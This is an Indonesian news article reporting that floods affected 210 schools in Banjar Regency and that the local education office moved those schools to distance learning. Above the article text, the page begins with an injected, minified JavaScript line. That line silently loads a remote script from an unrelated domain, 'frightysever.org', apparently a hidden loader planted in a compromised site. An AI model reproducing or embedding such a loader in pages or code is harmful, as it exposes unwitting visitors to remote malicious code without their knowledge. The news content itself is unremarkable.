(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melalui Dinas Pendidikan setempat mengeluarkan surat edaran yang mengatur tentang pelaksanaan proses pembelajaran di sekolah sehubungan dengan banyaknya bangunan sekolah yang terdampak banjir.
Sejauh ini ada 210 sekolah di Kabupaten Banjar terdampak bencana banjir yang terjadi dalam beberapa hari terakhir.
Sekolah tersebut, yakni terdiri atas 116 Sekolah Dasar, 20 Sekolah Menengah Pertama (SMP) dan 74 satuan pendidikan PAUD dan PKBM.
Baca juga: Pemprov Kalsel Salurkan Bantuan ke Desa Pemakuan
Kepala Dinas Pendidikan Kabupaten Banjar, Hj Liana Penny. Foto: Istimewa
Kepala Dinas Pendidikan Kabupaten Banjar, Hj Liana Penny, menyampaikan bahwa kondisi banjir berdampak langsung pada lingkungan sekolah.
Dia mengatakan, 41 sekolah terdampak pada area halaman, sementara 169 sekolah lainnya telah tergenang air hingga ke ruang kelas.
Hal ini tidak memungkinkan untuk melaksanakan pembelajaran tatap muka secara normal.
Baca juga: 132 KK Terdampak Banjir di Sungai Lulut Banjarmasin
Menurut dia, keselamatan peserta didik, pendidik, dan tenaga kependidikan menjadi prioritas utama.
“Oleh karena itu, untuk satuan pendidikan yang terdampak banjir, pembelajaran sementara dialihkan ke Pembelajaran Jarak Jauh (PJJ),” ujar kadisdik.
Surat Edaran Kepala Dinas Pendidikan Kabupaten Banjar Nomor 400.3.6.1/007/Disdik/2026 yang dikeluarkan mengacu pada Surat Edaran Kementerian Pendidikan Dasar dan Menengah Republik Indonesia tentang penyelenggaraan pembelajaran pada satuan pendidikan terdampak bencana.
Baca juga: Banjir Rob di Meranti VI Handil Bakti, Warga Evakuasi Kendaraan
Dalam surat edaran tersebut ditegaskan bahwa pelaksanaan PJJ dilakukan secara fleksibel dan adaptif, menyesuaikan kondisi peserta didik dan satuan pendidikan.
Proses pembelajaran dapat dilaksanakan melalui berbagai media daring maupun luring, seperti WhatsApp, Google Classroom, modul belajar mandiri, atau media lain yang memungkinkan.
Selain itu, sekolah juga diminta untuk melakukan penyesuaian kurikulum, dengan memprioritaskan materi esensial, dukungan psikososial, serta edukasi terkait kesehatan, keselamatan, dan mitigasi bencana.
Baca juga: Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan
“Sementara itu, satuan pendidikan di wilayah yang tidak terdampak banjir tetap melaksanakan Pembelajaran Tatap Muka (PTM) seperti biasa,” katanya.
Lebih lanjut dia mengatakan, Dinas Pendidikan Kabupaten Banjar akan terus melakukan monitoring dan koordinasi dengan pengawas pembina serta pihak terkait.
Pembelajaran tatap muka akan kembali dilaksanakan setelah kondisi dinyatakan aman dan normal.
“Kami berharap dukungan orangtua dan seluruh pihak agar proses belajar anak-anak tetap berjalan dengan baik meskipun dalam kondisi darurat,” pungkas dia. (kanalkalimantan.com/dkispbanjar)
Editor: Dhani
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More
Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More
KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More
Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More
This website uses cookies.